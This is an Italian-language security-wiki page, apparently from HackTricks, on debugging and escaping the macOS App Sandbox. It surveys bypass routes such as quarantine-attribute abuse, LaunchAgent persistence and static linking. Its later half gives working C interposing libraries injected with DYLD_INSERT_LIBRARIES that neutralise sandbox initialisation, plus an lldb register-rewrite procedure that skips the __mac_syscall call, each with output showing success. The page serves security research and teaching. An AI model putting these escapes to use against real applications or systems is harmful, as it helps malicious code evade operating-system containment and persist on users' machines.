macOS Sandbox Debug & Bypass

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Sandbox loading process

Immagine da http://newosxbook.com/files/HITSB.pdf

Nell'immagine precedente è possibile osservare come il sandbox verrà caricato quando un'applicazione con il diritto com.apple.security.app-sandbox viene eseguita.

Il compilatore collegherà /usr/lib/libSystem.B.dylib al binario.

Poi, libSystem.B chiamerà altre diverse funzioni fino a quando xpc_pipe_routine invia i diritti dell'app a securityd. Securityd controlla se il processo deve essere messo in quarantena all'interno del Sandbox, e se sì, verrà messo in quarantena. Infine, il sandbox verrà attivato con una chiamata a __sandbox_ms che chiamerà __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

I file creati da processi sandboxed vengono aggiunti con l'attributo di quarantena per prevenire la fuga dal sandbox. Tuttavia, se riesci a creare una cartella .app senza l'attributo di quarantena all'interno di un'applicazione sandboxed, potresti far puntare il binario del pacchetto dell'app a /bin/bash e aggiungere alcune variabili d'ambiente nel plist per abusare di open per lanciare la nuova app non sandboxed.

Questo è ciò che è stato fatto in CVE-2023-32364.

Pertanto, al momento, se sei in grado di creare solo una cartella con un nome che termina in .app senza un attributo di quarantena, puoi sfuggire al sandbox perché macOS controlla solo l'attributo di quarantena nella cartella .app e nell'eseguibile principale (e faremo puntare l'eseguibile principale a /bin/bash).

Nota che se un pacchetto .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a essere eseguito attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei pacchetti .app a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox elevato).

Abusing Open functionality

Negli ultimi esempi di bypass del sandbox di Word si può apprezzare come la funzionalità cli open possa essere abusata per bypassare il sandbox.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

Anche se un'applicazione è destinata a essere sandboxed (com.apple.security.app-sandbox), è possibile bypassare il sandbox se viene eseguita da un LaunchAgent (~/Library/LaunchAgents) per esempio. Come spiegato in questo post, se vuoi ottenere persistenza con un'applicazione che è sandboxed potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.

Abusing Auto Start Locations

Se un processo sandboxed può scrivere in un luogo dove successivamente un'applicazione non sandboxed eseguirà il binario, sarà in grado di sfuggire semplicemente posizionando lì il binario. Un buon esempio di questo tipo di posizioni sono ~/Library/LaunchAgents o /System/Library/LaunchDaemons.

Per questo potresti anche aver bisogno di 2 passaggi: far eseguire un processo con un sandbox più permissivo (file-read*, file-write*) che eseguirà il tuo codice che scriverà effettivamente in un luogo dove sarà eseguito non sandboxed.

Controlla questa pagina riguardo le posizioni di avvio automatico:

macOS Auto Start

Abusing other processes

Se da quel momento il processo sandboxed riesci a compromettere altri processi in esecuzione in sandbox meno restrittive (o nessuna), sarai in grado di sfuggire ai loro sandbox:

macOS Process Abuse

Static Compiling & Dynamically linking

Questa ricerca ha scoperto 2 modi per bypassare il Sandbox. Poiché il sandbox è applicato dal userland quando la libreria libSystem viene caricata. Se un binario potesse evitare di caricarla, non verrebbe mai sandboxed:

• Se il binario fosse completamente compilato staticamente, potrebbe evitare di caricare quella libreria.

• Se il binario non avesse bisogno di caricare alcuna libreria (perché il linker è anche in libSystem), non avrà bisogno di caricare libSystem.

Shellcodes

Nota che anche gli shellcodes in ARM64 devono essere collegati in libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Nota che anche se alcune azioni potrebbero essere consentite dal sandbox se un'applicazione ha un entitlement specifico, come in:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Per ulteriori informazioni su Interposting controlla:

macOS Function Hooking

Interposta _libsecinit_initializer per prevenire il sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interporre __mac_syscall per prevenire il Sandbox

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

Compiliamo un'applicazione che dovrebbe essere sandboxed:

sand.c

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

entitlements.xml

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

Info.plist

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Quindi compila l'app:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

L'app cercherà di leggere il file ~/Desktop/del.txt, che il Sandbox non permetterà. Crea un file lì dentro poiché una volta che il Sandbox è stato bypassato, sarà in grado di leggerlo:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Facciamo il debug dell'applicazione per vedere quando viene caricato il Sandbox:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Anche con il Sandbox bypassato, TCC chiederà all'utente se desidera consentire al processo di leggere file dal desktop

Riferimenti

• http://newosxbook.com/files/HITSB.pdf

• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/

• https://www.youtube.com/watch?v=mG715HcDgO8

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